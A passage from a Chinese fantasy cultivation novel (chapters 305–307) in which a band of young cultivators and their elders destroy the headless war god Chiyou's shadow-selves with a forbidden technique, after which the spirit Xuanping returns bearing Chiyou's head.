咦,小映心这会想啊,如果蚩尤真把她打死,那么旋娉这一大祸患不就顺理成章(?)地解决了?若是没打过……那自然也是好的。虽然现在她一要和蚩尤打架,二要警惕旋娉,但利弊分析后,其实最主要还是做好后者。 至于死……她很清楚旋娉不可能让她轻易死去。 这样一盘算,她好像不必害怕什么。 暂且不说石映心的利弊分析是否客观真实准确……但荒诞的一幕就这么出现了:竟然是剑修先提剑发起了攻击。 旋娉在她脑中大叫:“蠢物!蠢物!不自量力的笨蛋!” 石映心才不管呢。只是突然疑惑起来:这无头战神没了头,究竟是如何视物的呢? 很快又想明白,肉身不过是灵魂接触世间的载体,魂魄能看见。 不管如何——好戏开场。 其实石映心不太认识这位大名鼎鼎的无头战神……不得不说现在确实是个“认识”她的好机会,并且是深刻认识: 她刀枪不入,就是附着石映心灵力的帝血剑也只能勉强斩断她的毛发; 她手中的铜矛究竟是何玩意?瞧着平平无奇,绝非宝器,但却能抵御帝血剑、弹开法术攻击,实在是匪夷所思; 她力大无穷,跟随动作摆动的衣袖就能轻松将边上的大树撩倒,偶尔跺两下脚,地上就会出现裂坑; 她强壮又灵活,石映心所有厉害的剑招在她面前都变成了花架子,分明见她没有多少动作,却能轻松抵御化解她的攻击,难道这就是大道至简……或者说:在绝对的实力面前,一切技巧都显得苍白无力? 石映心使用落雨飞花:无数道剑意都被对手挥手轻易震开。 石映心使用吹雪凝霜:对手周身的炙热气场竟让冰雪直接融化。 石映心使用呼风……这不行,她急忙停住,差点忘了对手也有呼风唤雨的本事;而且外头已经是海难,她可不能再添油加醋。 石映心千方百计、想方设法,用尽毕生所学……最多只伤到对方分毫。好在也不是完全无所获:她发现对方的肉身并无什么修复能力,方才她好不容易擦到的剑伤至今未修复。 想想也是,不然断掉的头颅早该回家了。可这缺点目前对她来说没啥用,毕竟几乎伤不到对方。难怪就算没了头也不抛弃这具肉身,完全是铜筋铁骨哈——还没那么僵硬。 …… 对比之下,更可怕的是,无头战神不会累,而石映心会。 数不清几次的对招后,她一时松口气的功夫竟让对方抓住了空档:石映心有些诧异,不知是自己累了让对方趁虚而入还是她小瞧了对方的观察细致(谁让人家没长脑袋),总之这会帝血剑的剑尖已经被对方拿在手中了。 蚩尤握着剑尖,她握着剑柄,二人就这么短暂僵持了一瞬;可论力气谁比得过战神?石映心咬牙强撑着不放手,于是就这么被蚩尤玩似的在空中甩着剑转了不知几圈,然后实在毫无知觉地脱了力,晕头转向地被甩到了一棵树上—— 砰! 簌啦啦…… 惨兮兮地留下人形大坑后,随着被震掉的落叶滑了下来,石映心闭着眼睛,悄无声息。 蚩尤似乎瞅了她一眼,大概是欣赏手下败将的惨状;而后将手中的帝血剑扔到一边,不紧不慢地、尽显胜者风范地往面前的桃树门走去。 她没脑袋地在门前站了一会,也许是在欣赏自己即将得到的奖赏,总之不那么赶趟地举起了手中的铜矛,一挥而下—— 铮! 断裂的脖颈微微一歪,对面前飞来挡住它的帝血剑似乎有些意外。蚩尤侧过身子,“看”见了那还没死、但已有七窍流血死状的家伙,正抬着红彤彤的眼睛看着自己。 居然还有力气说话:“要么……杀了我……要么……” 石映心混沌的脑子想不出第二种可能,麻烦理解一下,毕竟对手太过厉害。一般人到这种奄奄一息的地步,脑子里就该放走马灯了;但不愧是石映心,这会还有纠结的心思。 不错,是纠结。 镜灵不是没想到战胜战神的办法,可一旦用了这办法,又会碰上新的难搞的家伙。 其实难搞的家伙已经在她的脑袋里吵得天翻地覆了: “蠢物!蠢物!还不快照她!” ……别吵。 “我保证不夺舍你,我保证!赶紧发挥你镜灵的本事——” 少来。 “你要做什么?你真要去死吗!” “照她!快照她!” …… “若是让她劈开了鬼门,度朔山便会崩塌,到时的灾难可不是海啸那么简单!全天下都会生灵涂炭——” ……那么你呢,旋娉,你执意带着女娲神力归来,你究竟想做什么? “你可知为何你的招式对蚩尤无用?因为你们本就属于不同时期的人,而你远远没有到达她出神入化、跨越时空的能力!你若不照她——我告诉你,就是你师兄师妹师父师公都来了,也毫无办法!” 石映心又不是傻子,就是一开始不知道,现在也被揍明白了。 旋娉飞快地说:“破局者只能是你!只有天地之镜才能跨越时空、对蚩尤造成实质性的伤害!” ……是吗? 镜灵已经到了抬眼都很费力的程度,可即使这样,那帝血剑依旧不怕死地阻挠绕着蚩尤的行动。剑修这时觉得自己就是剑修,她早已与那把剑融为一体,否则以她如今的状态,怎么可能还有力气挡得住蚩尤? 除非是意识……无形的意识……比实质的力量还要强大。 支撑着被封印在填海石中的蚩尤,支撑着千百年前的旋娉,让她们在死寂中沉睡,等候命运落下的那一细缝的希望——然后重生归来。 蚩尤对帝血剑烦不胜烦,伸手抓住了剑柄,转身朝罪魁祸首走去。 她要将她杀了。 “你若死了,便无人能再杀了蚩尤;可只要你还活着……”旋娉咬牙切齿道,“你还想不明白?杀我比杀她容易多了!” 蚩尤提着剑走近了,难道剑修将要死在自己的宝剑之下? “蠢物!” 蠢物无力地闭上眼睛。 铜矛挥起,在夜色中划过一道亮光。 “哈哈哈哈!哈哈哈哈……”有人在她的脑子里发疯地笑了起来,“好好好,算你厉害!我告诉你还不成?我告诉你怎么杀她总行了吧——石映心!” 石映心睁开眼,对无头战神一眨眼睛。 下一瞬,一股充沛的灵力席卷了她的全身,这股力量熟悉而温暖,让她全身上下都无比畅快愉悦——仿佛鸟儿回到了温暖的巢穴,女儿得到了母亲的怀抱。 如此纯粹的女娲神力! 石映心没让赶来的大师兄小师妹以及邬芽看到她七窍流血的可怖模样,她恢复得太快了;二人提心吊胆地瞅她狼狈的穿着,又打量她气色红润的脸蛋,心里感到很多违和。但这会哪里有功夫问这个,就见她挡开蚩尤的铜矛,对她们道: “我有办法杀了蚩尤。” 明易捏着寒竹剑想上去帮忙,但又觉得师妹这状态……好像不需要?于是只是问:“什么办法?” 石映心答非所问,看向邬芽道:“还差两人。” 三人面面相觑。 不多久,在她们诡异地看着石映心和蚩尤打得有来有回、甚至不相上下的时候,顾梦真一行人姗姗来迟。 瞅见姬漓和姬滢,曾换月不知该不该笑地说了句:“还多了两个!” 这会似乎都不必问她俩怎么会在这,来了要做什么,反正是要帮忙的。曾换月在姐妹俩还没缓过神来的疑惑视线中朝她师姐挥舞起手大喊道:“师姐!来二送二!!” “送来”的二人:OO? 石映心挡下蚩尤的进攻,帝血剑振得她手有些发麻,她朝顾梦真喊道:“二师兄,用宝器暂时困住她!” 顾梦真连忙应了一声:“好!” 他一下子掏出无数宝器,什么找不着迷罩、鬼打墙,打算先让蚩尤“迷路”;又扔进去几个呆头呆脑小木人,就算是做炮灰,多少也能拖延一些时间,让他师妹能够暂时脱身。 第305章 石映心趁机来到几人身侧,瞅见天机阁二位道友,还是问了句:“姬漓,姬滢,你们怎么会在这?” 姬家姐妹欲言又止:“映心,我们是来找你的……” 她们话都没说半句,时刻关注着蚩尤动态的顾梦真忽然大惊道:“我去,她把‘鬼打墙’打破了!这是能打破的吗?” 曾换月瞪他:“你的宝器你都不知道?” 顾梦真可太冤枉了:“没想过还有这样的破局办法啊!这样根本困不住蚩尤多久!” “时间紧迫,”明易便道,“映心,究竟是什么办法?” 石映心不得不说一些前情提要:“实不相瞒,我已与蚩尤交手过几回合,完全无可奈何;她并非当世之人,却有出神入化的本事,因此对付我们非常轻易,可我们却无法伤及其根源……” 曾换月难得智商在线,居然听懂了:就是不是一个维度的意思嘛!人家蚩尤是穿越时空的存在,和她的换月神阵倒是有些…… 顾梦真大惊:“那我们该怎么办?” 石映心看向邬芽和桑九道:“如今只有一个值得尝试的办法,便是用你们幽冥洲的控影术。” “控影术?”邬芽立刻明白,当即摇头道,“蚩尤的魂魄无比强大,别说我和桑九了,就是我们宗主来了都无法控制她的影子!” 桑九也是一瞬间塌了脸色:“这就是你的好办法?” “听我说完,”石映心稳重地补充道,“以我们的本事控蚩尤的影子自然不可能,可若是先用照影术照出蚩尤的九层影神,再逐步击破……完全可行。” 幽冥宗二人听她提到“照影术”,已经完全傻了眼,压根没想到她居然能想到这样的办法——身为一个归壹派的弟子! 当然不是石映心想到的……不讲不讲。 “控影术是什么?”顾梦真左看看右看看,“照影术又是啥玩意?” 曾换月胡乱地:“反正那么回事吧,没工夫和你解释!” 顾梦真:…… “这是一个危险的办法。”姬滢将视线从罗盘上转到石映心身上,语气还算淡定,“卦象显示,若不能一举成功,便再无翻身可能。” 石映心不意外地点头:“我想也是。” “……等等,”桑九不得不叫停,“我们压根不会照影术。” 邬芽也回过神来:“是啊映心,这可是禁术。” 石映心却笑了一下:“有人会。” “谁会?”这家伙做出什么事来桑九都不会再惊奇了,“你吗?” 石映心并不回答,只是侧过脑袋看向一个方向,忽然抛出法术,击中了一片黑密的树冠;只听簌簌作响,树林中飞出一只老鹰来。 在众人诧异的目光中,老鹰落在地上,竟化作一位穿着幽冥宗黑袍的修士,见她容貌约三四十,头发却已半百,应是和蔼可亲的一张脸此时却阴沉沉的,面色忧愁。 桑九无比惊奇道:“师祖?您怎么会在这!?” 邬芽也是满脸震惊:“您……您一直都在吗?” 寻鹰哀叹一声摇了摇头,无奈道:“一言难尽。” “一言难尽的话就不说了,”曾换月飞快道,“我们没那么多时间——寻鹰仙尊,您会照影术是吗?” 寻鹰愁眉看着几人,答非所问道:“照影术早已失传……且是禁术。” 石映心好生劝她:“寻鹰仙尊,你在暗处看戏已久,定已明白蚩尤的厉害;至于这扇桃花鬼门被破之后会有何后果,我想你比在场所有人都更清楚;如今不再用照影术一试……怕是不过多久,整个幽冥宗的法术都将失传。” 寻鹰:…… 这简直骇人听闻! 但她又深知对方只是在实话实说。 身为幽冥宗的弟子,桑九这会还忍不住想说句“公道话”:“喂,哪有这么夸……” “好。”这声是他师祖应的,“我会帮忙。” 桑九:Oo 他师姐的重点还不在这呢,就听邬芽有些疑惑道:“师祖,为何你会照影术这样的……禁术?” “哼!她会的禁术可多了——” 嗯?这声音是…… 曾换月连忙转头看去,欣喜道:“妽荼仙尊!还有——师父!?” 妽荼同慕雲的到来在几位小辈眼中如天降神兵,简直是来得太及时了!慕雲瞧见自家徒弟这狼狈的模样,连忙打量着几人的情况,尤其是某个最不省心的;好在看起来没事。 她无语又无奈道:“你们真是到处给为师添乱!连度朔山这地界都给你们闯进了,真是!” 四人各自挠自己的头,无法解释。 这时听妽荼朝寻鹰没好气道:“寻鹰,这一切不会是你的阴谋?你好大的胆子,竟敢设计放出毁了我的结界、放出蚩尤——” “不是!”寻鹰连忙辩解,“我只是想找到填海石,谁知你和郁垒竟将蚩尤封印其中!” 妽荼冷笑:“哦,是怪我们了!” “……不是。”寻鹰这会也矛盾呢,她自觉冤枉,但怎么想也确实不冤枉,“我不知你们将蚩尤……唉,罢了,再说无益。” 妽荼还是气不打一处来:“差点忘了,寻鹰,几年前你擅用禁术阵法的事我还没和你算账——” 寻鹰飞快地瞥了自家两个弟子一眼:“往事不要再提!” “往事?呵!过往和今日的事你都难辞其咎……” “那个……”顾梦真弱弱地插入自己弱弱的声音,“二位仙尊请听晚辈一言……我的宝器快被蚩尤霍霍完了呜呜……” 二位仙尊:…… 她们放眼望去,就见桃树鬼门前、蚩尤身后,已经堆积了一座小山似的什么玩意,仔细一看:是无数报废的宝器以及……木头人的残肢断骸? 与此同时,蚩尤一拳打爆面前拦路的木头人,将它踢飞到垃圾堆上,又增添了一些高度;后头排队拦路的木头人们非常可怜兮兮地抱着自 己瑟瑟发抖,但依旧视死如归般地一个接上一个…… 情景非常惨烈了。 顾梦真擦了擦疑似流出泪水的眼角,抽了抽疑似流出鼻涕的鼻子:“师父,仙尊,如果我们能活着出去……这些宝器能走报销吗?呜呜呜呜……” 妽荼和慕雲:…… 慕雲都觉得害臊,瞪了徒弟一眼:“在外人面前别说这些……什么时候了还想着兜里那些灵石,真是叫人笑话!” “呜呜呜可是……” “行了。”真是一个脑袋几个大,妽荼挥挥手道,“还愣着做什么,寻鹰,快用你们幽冥宗的照影术!” 寻鹰此时抱着戴罪立功的念头,自然是要答应下来,又对两个徒弟道:“蚩尤威力无穷,你们二人在我身侧辅助。照影术和控影术同源异流,你们两个聪明,一看便知。” 师祖都被这位妽荼仙尊骂成这样了,幽冥洲二位弟子早就不敢说话,只在边上提心吊胆地听着,感觉自己与有羞焉;这会得到任务,连忙点头应和:“是,师祖!” 三人布阵筹备的时候,妽荼意味深长地看向石映心道:“你竟能想出用幽冥宗照影术的好法子……” 她的目光忽然转向慕雲:“你教的好徒弟?” 石映心看向师父:←← 慕雲嘴角一抽:“额,嗯,映心她打小就聪明!哈哈。” 妽荼又盯住明易:“不是叫你们赶紧离开度朔山,怎么还在此处?本尊的话也不听了是吗?明易,你身为她们的大师兄……” 蓦地又瞪向慕雲:“都是你教的徒弟!” 明易看向师父:→→ 慕雲嘴角二抽:“额,是,都是晚辈的不是……我回去定好好教训他们!” 妽荼冷哼一声,脸色很不好看地扫了眼面前几人,这可怖的气场震慑得天机阁二弟子也默默地抿住嘴巴不敢说话。等面前纷纷都是垂下的脑袋,妽荼才大发慈悲地放过她们,转头看向寻鹰三人的动静。 这时寻鹰正在空中施法,毕竟是禁术,前期需要些准备,邬芽和桑九二人一左一右辅佐着;这三个黑袍飘在空中,周遭的灵力黑黑灰灰的,实在有些阴森,不知情者大概会觉得是在做什么邪术。 底下的蚩尤踹开最后一个阻碍她的小木人,扬起了断脖,抬头“看”去;不知她想了什么,但很快便有了反应,抬手扔出铜矛—— 铮! 妽荼施法将其铜矛拦下,对着朝她“看”来的蚩尤道:“蚩尤,你早已不是当世之魂,何必再执着弥留人世?快快束手投降,让本尊将你了结!” 蚩尤懒得跟她废话……主要也没这条件,伸手收回铜矛,一跺脚往天上飞去,二话不能说地和妽荼打了起来,慕雲紧忙上前帮忙。 长辈走了,小辈们都松了口气。 姬漓忍了好久总算可以问出口:“天,那就是传说中的蚩尤吗?我居然能见到战神本魂!实在是荣幸……咳,当然如果她不是想干坏事就更好了哈。”疑似最后一句是在找补。 顾梦真这会还心疼自己的宝器呢,有些心酸道:“姬漓,没想到你们天机阁弟子还崇拜蚩尤啊。” “蚩尤是大酋长,”石映心道,“常曦和羲和的首领。” “对,”姬漓笑道,“是有这么回事!我们天机洲一直流传着蚩尤和姬有熊的传说……” 曾换月看了眼在空中打架的三人,那个没脑袋的大块头实在明显;她好奇问道:“这样啊,那你们一定知道蚩尤为什么没了脑袋?” “知道啊,”姬漓胸有成竹道,“战神的脑袋在最后的大战时被姬有熊斩下,为了防止她复生,姬有熊将她身首分离埋葬……不过战神不愧是战神,所谓‘首身离兮,心不惩’‘身既死兮神以灵,魂魄毅兮为鬼雄’;战神的魂魄并不随着肉身的死亡分解而泯灭,如此才能成为战神嘛!” 说到后边已经是藏不住崇拜的语气。 第306章 “冒昧一问,”明易有个疑点,“照姬漓道友你的说法,蚩尤身首异处却魂魄犹在;如今又知当初是妽荼仙尊将其魂魄封印在填海石中……那么,为何魂魄也是无头?” “对啊,”曾换月也道,“难道其实填海石也封印了蚩尤的肉身?” “额,”这似乎触及了姬漓的知识盲区,她挠挠头道,“这我就……不清楚了。唉,我们听的也只是百姓们口中诉说的故事罢了,世人又怎知蚩尤魂魄被封在填海石中呢?” 这时,一直默不作声的姬滢道:“你们听过女娲死去的故事吗?” 怎么就扯上女娲了,大伙的脑筋一时没有反应过来,只有石映心道:“‘有神十人,名曰女娲之肠,化为神,处栗广之野,横道而处’。” “对,”姬滢看向她,目光微闪,“说是女娲死后,光是她的肠子便能化作十个神人。那么既然是女娲肉身一部分化成的神人,定也非同寻常。” 她本就话不多,说到这便停住了,大伙都听着一头雾水:所以这和蚩尤的无头肉身有什么关系? 石映心似乎也听懂了:“原来如此。” 大伙:?? 还是明易贴心地解释道:“姬滢的意思是,像女娲、蚩尤这样特殊的存在,早已不依附肉身而活。姬有熊为防蚩尤复活将她身首分离,却不曾想她的**也能同‘女娲之肠’一般,化作‘十个神人’……” “当然,”他严谨道,“蚩尤不比女娲,她很可能只分作了二人:一是她的首级,二是她的肉身,分离后既然不能复原,那么独立存在便是。” 这下大家都听懂了,曾换月恍然道:“也就是说……世上有两个蚩尤?!一个是她的头,一个是她的肉身?” 姬滢颔首道:“只是我的推测罢了。” “不过……”明易说着,自己也越发深 入思酌,“我想女娲死后化作‘十个神人’,更接近我们当今的转世,至此女娲便相当于失落了;但蚩尤不是,她的魂魄并未转世,而是连同肉身被压制在填海石中,若不然这会也不会要劈开度朔山鬼门。因此她的首级中……没有魂魄。” 姬滢若有所思道:“照蚩尤的神力,她的头颅应该也有的,却没有……为何?” 石映心冒泡:“被镇压了。” “是,”明易恍然大悟,“定是被后世之人镇压了。” “咦,”曾换月这时候便问,“光是镇压蚩尤的肉身便很不容易了,还需要什么填海石……那么到底是什么镇压了蚩尤的头颅呢?” 顾梦真道:“那就是姬有熊的神力了呗。” “对哦。”姬漓挠挠脑袋,看向妹妹:“姬滢,传说蚩尤的脑袋被姬有熊倾尽全力埋在了哪里来着?” 姬滢侧过脸,看向夜空中英勇的无头战神,喃喃道: “枫木之野,宋山。” 石映心抬起眼睛。 【她把那扇门——那扇枫树门劈开了!】 【门后面有什么?】 【门后……】 【……不知道。】 难怪旋娉刻意模糊了她这段记忆,原来是这样。 石映心总算明白,但——这会确实有点晚了。 度朔山外的人间依旧是倾盆大雨,山崩海啸,狂浪和雨水在遇到山的结界时便化作朦胧的水雾,将其阴冷地笼罩;在这灰蒙蒙的隔绝世间的地界中,忽然升起了太阳和月亮。 炙热和冰冷的光明就这么降临在众人的身上,一切热闹变得安静。 她们抬头望去,那是幽冥宗三人招来的日月,如梦似幻。 曾换月失神地望着它们,刹那间有什么从记忆深处涌起,如无法抵挡的日光和月光一般照在了她的脸上;她不受控地想起了什么——许久之前,她似乎见过这个太阳和这个月亮。 对,就是它们,从异世而来的日月,也能带她去往异世,只要在这日月光之下,画下她已经娴熟于心的…… 换月神阵。 “换月?喂,曾换月!” 曾换月猛然回神,看向叫她的人,是二师兄,见他脸色有些焦急道:“你发什么呆呢?这种时候还……欸,走了!” “……哦。” 她回过神来跟上大伙,目光在片刻的飘移之后落在了她师姐的背影上,她迎光而上的背影让轮廓显得虚无,仿佛无法触摸。 更前边的景况是,蚩尤被妽荼和慕雲左右用灵力禁锢着,但瞧二人的脸色都非常勉强。无头战神就这么被吊在空中,她先前一直不急不慢的,仿佛什么都不着急:各位都是小鸡仔,一个个捏爆就是了,有的是时间和心情。 大概这就是好战的战神对打架的趣味。 但这会却见她强壮的双臂绷紧了,暴涨的肌肉在日月光的照射下显得可怖又神圣;她断掉的、本该早就枯萎的脖颈中竟然冒出了血液——不,那是——影子!? 寻鹰早已满头大汗,在这关键时候她猛地睁眼,双指并立指向蚩尤道:“九影显世——” 刹那间,蚩尤的断脖上那原本只是细密溜出的血流如山洪暴发一般喷涌而出!其势汹涌、避无可避,最先遭殃的便是距离蚩尤最近的妽荼、慕雲二人,寻鹰和她二位弟子也同样被波及。 在她人眼中,只见眼前被一片血色劈头盖脸地罩下,一时瞧不见任何景色。等回过神来,就见满身是血的妽荼和慕雲,被吊在空中、四肢无力下垂的无头躯体,以及…… 环绕着无头躯体的八道黑红影子,一道道皆是无头的身形。 这便是蚩尤的影神了。 不过…… 妽荼抹去眼前的血迹,蹙眉道:“怎么只有八道?” 寻鹰是没精力琢磨这事了,召唤战神的影神谈何容易,仪式成功的那一瞬,她便吐出好大一口血来,整个人将要摇摇欲坠,还是邬芽连忙扶住了她:“师祖!师祖你没事吧?” 寻鹰也被溅了半身血,雪白的发被染红,落在她的黑袍上倒是瞧不出什么颜色。她通红的双眼勉强睁开,看向面前的邬芽时目光游离,却像在看别人,又失神地喃喃道: “你究竟……在何处……姐姐……” 这会情况已经很混乱了,邬芽压根没听清她在说什么,只连忙对桑九道:“我替师祖疗伤,你去帮映心她们!” 桑九担忧地看了师姐和师祖一眼,用力点了点头,转身飞去。 这一边,石映心等人已经与蚩尤的八道影神打了起来。 好消息:确实弱了不少,这办法是有用的。 坏消息:弱了又怎么样,人家战神依旧强得可怕。 但石映心深知此行旨在将蚩尤拉回“当世”,让她们这些小小修仙者谁都可以伤害到她,否则再厉害的宝器和修士都无法将她置于死地。 比如原先只能当炮灰的小木人,这会居然能和一层影神打得有来有回,但这也多亏了小气的器修不再藏着掖着,拿出自己精心研制许久的小木人一号(映心师妹版),以及小木人二号(大师兄版)。 两个小木人长得和原版真人十分肖像也就算了,居然还配备了他自己仿制的帝血剑和寒竹剑;总而言之,是连本人看了都以为在照镜子的程度。 慕雲一言难尽地看着二徒弟道:“你这小子搞这玩意究竟想干什么!拿出去卖钱?这可是你师妹和大师兄(的小木人)!” 顾梦真不堪其辱道:“师父你也太冤枉我了!难道我炼什么宝器都是为了赚钱嘛?这可是我为求突破、证明实力的呕心沥血之作,千金万两都是不卖的!” 慕雲觉得要真的把千金万两往他面前一放,他是说不出这些义正辞严的话的,但这会并不质疑他,只是挥挥手道:“行行行,赶紧的,对面这层影神就交给你……你们仨了!” 顾梦真应了一声,以一种“小气鬼报仇十年不晚”的气势对小木人一二号动员道:“冲啊映心!冲啊大师兄!为你们惨死的兄弟姐妹复仇!!” 远远听见的石映心:O0? 远远听见的明易:0O? 她俩这会也忙着对付影神呢,只瞧见那两抹熟悉的身影,心里就明白是怎么回事,无奈又好笑。 不过炼制剑修的小木人确实很方便,毕竟能够很快地“记住”剑法,一开始可能只是刻板地模仿,但随着器修的精进炼制、逐渐优化,慢慢地也有了“反应”的本事。 再加上师妹和师兄之间常常联系的默契,二人的小木人发挥了十分的效果,居然真的牵制住了蚩尤的一层影神。 与此同时,曾换月也在挥霍着她的符箓应付对手,不难瞧出她有些心不在焉,难的是大伙没空仔细关注她。她师父虽然时不时也会瞅小徒弟这边一眼,但见还能对付便急忙回过注意力忙活自己的事。 姬家姐妹联手布阵困住一层影神,二人配合默契,事半功倍;桑九虽单打独斗,修为也稍逊色,但好在控影术是他们幽冥宗弟子的拿手本事,因此咬咬牙,也能一人牵制一层。 至于石映心、明易,慕雲和妽荼自然是一人一层。大伙各司其职,度朔山上的景况十分热闹,无数小鬼蜷缩在地底,鬼鬼自危,不敢冒头。 自然是妽荼先结束了战局,毁灭一层影神后,其余影神的实力也会有所受损;她并未歇息一瞬,乘胜追击地去帮慕雲解决了她的对手;二人有了空档之后,也好去帮忙其他小辈。 等寻鹰在邬芽的疗伤中恢复醒来时,正好看见她们联手将最后一层影神歼灭;影子消散的一瞬间,蚩尤的肉身燃烧起一层高过一层的火焰,足足有八成,火光甚至盖过了天上的日月光芒。 在这逼得众人不敢靠近的狂热火焰中,穿越千年的无头躯体终于灰飞烟灭,只余下一堆伴着落叶尘埃的灰烬。 寂静再度降临度朔山。 第307章 “师祖……”邬芽扶起寻鹰,关怀道,“您没事吧?” 寻鹰已经好转许多,只是面色依旧苍白,她摇摇头道:“我没事,多谢你。” “那就好……”邬芽松了口气,又笑出声来,“太好了师祖,映心的办法果然有用!现在蚩尤的影神都被消灭了,她也终于死去……” “影神……”寻鹰想起什么,抿了抿唇,看向弟子道,“邬芽,方才你可数过,我们的照影术照出了多少层影神?” 邬芽当时也疑惑,因此很快道:“师祖,我数过了,一共有八层。” “八层?”寻鹰眉头一皱,“我果然没看错,只有八层……怎么会只有八层?” 邬芽怎么知道,她也想不明白,便开朗道:“师祖,这毕竟是禁术,世上的禁术都是神神秘秘的,叫人搞不明白……您也别多想了,总之现在蚩尤已死,一切都结束了。” 桑九也朝她们跑来:“师姐,师祖!” 寻鹰有些失神,抬眼看向不远处的一堆人:“结束了……” 结束了就该秋后算账了。这是妽荼的想法。 她打算和慕雲好好算算她的几个好弟子毁了东海封印、弄碎填海石还放出蚩尤闹出这么大动静的罪过,后者心虚地转移话题:“仙尊息怒,望女县还有海难一事尚未解决……” 妽荼瞪她:“你还好意思提!” “不好意思、不好意思!”慕雲苦着脸道,“但晚辈总得先回掌门那里帮忙不是……至于这四个不省心的,也得让她们帮帮忙、戴罪立功……” “哼!”妽荼冷哼一声,撇了眼那四个脑袋,没好气道,“此事不可能就这么算了……喂,你们几个还愣着做什么?还不快去望女县帮忙!” 顾梦真被吓得激灵,急忙应了一声“是”,转身走了两步却见其他人都没动弹,他疑惑地回头望去,见那三人各有脸色,还都不好看。 “干什么啊……”他挤眉弄眼地小声道,“还不快走?” 曾换月仿佛开小差了许久,这会回过神来,茫然地应了一声:“哦……走,走哪去?” 顾梦真:??? 他感到无语,又要去叫二师妹和大师兄,但这时姬滢忽然冒声道:“不能走。” 顾梦真:“啊?” 姬漓欲言又止:“那个,其实……” “快走!”妽荼却乍然厉声道,满脸怒气:“还想添什么乱!?” 明易虽觉得不对劲,心中莫大的恐慌让他觉得去留都不对,因此不敢轻举妄动,可此时在师父的眼神示意下,他还是握住了边上人的手腕:“走吧,映心……映心?你的手为何这么……” 烫。 “大师兄。”石映心说话了,但声音听着有些奇怪,像是在含着什么,口齿有些不清晰,“她要来了。” 明易如遭当头棒喝,似乎说了什么,但这时失去了声音。 “仙尊……” 石映心满眼通红地抬眼看向妽荼,吓了她师父一跳:“映心,你这是怎么了!?” 石映心却没功夫搭理她师父了,只直勾勾地看着神情复杂的妽荼道:“旋娉……就……交给……哇啦哇啦哇啦……” “映心!” 她控制不住地吐出好多血来,原本扶着她的明易和慕雲都被喷得浑身鲜血,满眼黑红,脑子嗡嗡作响。曾换月吓得大叫:“师姐!师姐!师父仙尊,你们快救救师姐啊!” 妽荼仙尊居然没动作,甚至还在慕雲要给徒弟止血的时候阻止了她:“蠢货!看不清她吐出来的是什么吗!?” 石映心吐得太可怖了,一大口一大口地往外倒,仿佛一次能倒掉半个身子的血,几人皆是被震惊得六神无主;经妽荼提醒才定睛看去——她吐出来的鲜血落在地上,并非流动,居然躁动不安地蛄蛹起来,渐渐形成了一道…… 人影。 “这不会是……”曾换月已经哭出了眼泪,“我师姐的影神吧?” “不。”有个声音在后头冒泡,是被邬芽扶着过来的寻鹰,她目不转睛地盯着地上逐渐形成的人影道,“这是蚩尤的第九层影神。” 邬芽惊诧不已:“难怪方才只有八层……但为何这第九层影神会在映心的……血中?” 寻鹰也是百思不得其解:“这我便不清楚了……世上怎会有人能容纳蚩尤的影神?这位映心小辈定是不同寻常之人。” 若不是在这关头说这话,慕雲只当做是夸奖,但此次此刻,谁要这“不同寻常”了?她看着还在疯狂吐血的徒弟,心疼得不行,急忙问寻鹰道:“少说废话,究竟要怎么救她!” 寻鹰微微摇头:“此情此景我也是见所未见、闻所未闻,让她吐完才知道。” 慕雲要急死了。 明易飞快地问:“能不能止血?” “你若想蚩尤的魂魄残存在她体内,”寻鹰惨笑一声,“那便止住吧。” 明易也要急死了。 几人的说话声并未进入石映心的耳朵,她这会实在是痛不欲生。旁人不知晓,但她清楚明白地感知到,这些血都是从她的心镜中流出来的,之后完全不讲理地冲过她的经脉,仿佛要带走所有生命,就这么让她毫无保留地吐出—— 哇啦哇啦哇啦…… 明易没发现自己浑身发抖,他不知自己该做什么,也许确实也什么都做不了,只能这么搀扶着她,偶尔颤抖着帮她拂去粘连在嘴边的碎发,一不小心就接了一手的血。 他忍耐地攥住了拳头,鲜血从他指缝中漏出,渐渐传来细密的疼痛。明易恍然回神,不可思议地摊开手心一看,瞧见了——一片通红的镜子碎片。 ……这是什么? 正在他晃神时,有一只手从他的手心中把碎片取走了,明易抬眼看去,是双目流血的师妹。 “……映心?” “旋娉!” 谁? 他听见妽荼仙尊忍耐着怒火的咬牙切齿声:“你还是回来了——旋娉!” 明易猛地转头望去,看见地上那片由他师妹吐出来的血影如鬼魅一般飞速地游入了无头战神的肉身灰烬之中,死寂的灰烬居然再次大放火光!下一瞬,这片惊人火势忽然发出猖狂的笑声,下一瞬便在众目睽睽之下化作了一道人影。 那人的手中还拿着什么球样的东西,她饶有兴致地转了一下,往空中一抛,落下又接住了,随意地拍了拍它,很是满意道: “死已足惜啊,无头战神!哈哈哈哈哈哈……” 正是蚩尤的头颅。 火影散去,显出一个女人的模样,看她的衣着也是修仙服饰,但并非八大派的门服、甚至不像当世的装扮。对于这家伙,有人熟悉有人陌生,但无一例外都有强烈的心情。 比如曾换月就忍不住大声质问对方:“就是你夺舍了我师姐?你究竟把我师姐怎么了!” 顾梦真也叫道:“你到底是谁!?” 然而旋娉并没搭理二人,连个眼神都没给;毕竟比起新仇人,她还有旧人的前缘要续。比如这会就对上了妽荼的死亡视线,对方咬牙切齿地挤出声音:“旋娉,你果真未死!” “是啊,”旋娉笑眯眯道,“我不是说过我会回来?” “你……” 邬芽:“师祖!” 妽荼正要说什么,却见边上的寻鹰快步走上前几步,瞧那神情竟然像是近乡情怯,听她小心地问:“姐姐……真的是你吗,旋娉姐?” 旋娉便分给她一个眼神,这一看还有些惊讶呢,挑起眉头道:“你是……寻鹰?你竟然还没死啊。” 真是冷冰冰的寒暄,可寻鹰就这么通红了双眼,顺滑地流下泪来:“姐姐……不等到你回来,我怎么能死?” 邬芽还扶着她师祖呢,她长这么大头一回见到师祖流泪,更别提她脸上那副陌生的表情,真叫她无所适从,疑惑万分:“师 祖,你怎么认识这……这谁?” 寻鹰抹去眼泪,摇摇头:“都是一言难尽的往事……” 看她这样,旋娉倒是没什么感触,仅是惊讶对方真的还没死啊。在她的印象中……寻鹰不过是许久前她随便救下的一只幼鹰,当时顺便把她“借”来看完的幽冥宗前身影子门的各种书籍顺手丢到了她简陋的窝里…… 大概是只想起到一个扔掉垃圾还能给它取暖的作用? 没想到无心插柳柳成鹰,幼鹰竟是那些乱七八糟反正她分不清也认不出的神鸟后代,长大后还缠了她一段时间,说要报恩什么的…… 谁需要啊。 她——旋娉? 世上有什么东西不能凭她自己的本事得来,还需借她人之手? 把人打发走之后,没想到还能在这见到她。她居然还活着,大概是借了一些禁术的法子,再加上她本身是神鸟后代……不过这些事儿关她旋娉什么事呢……嗯,等等? 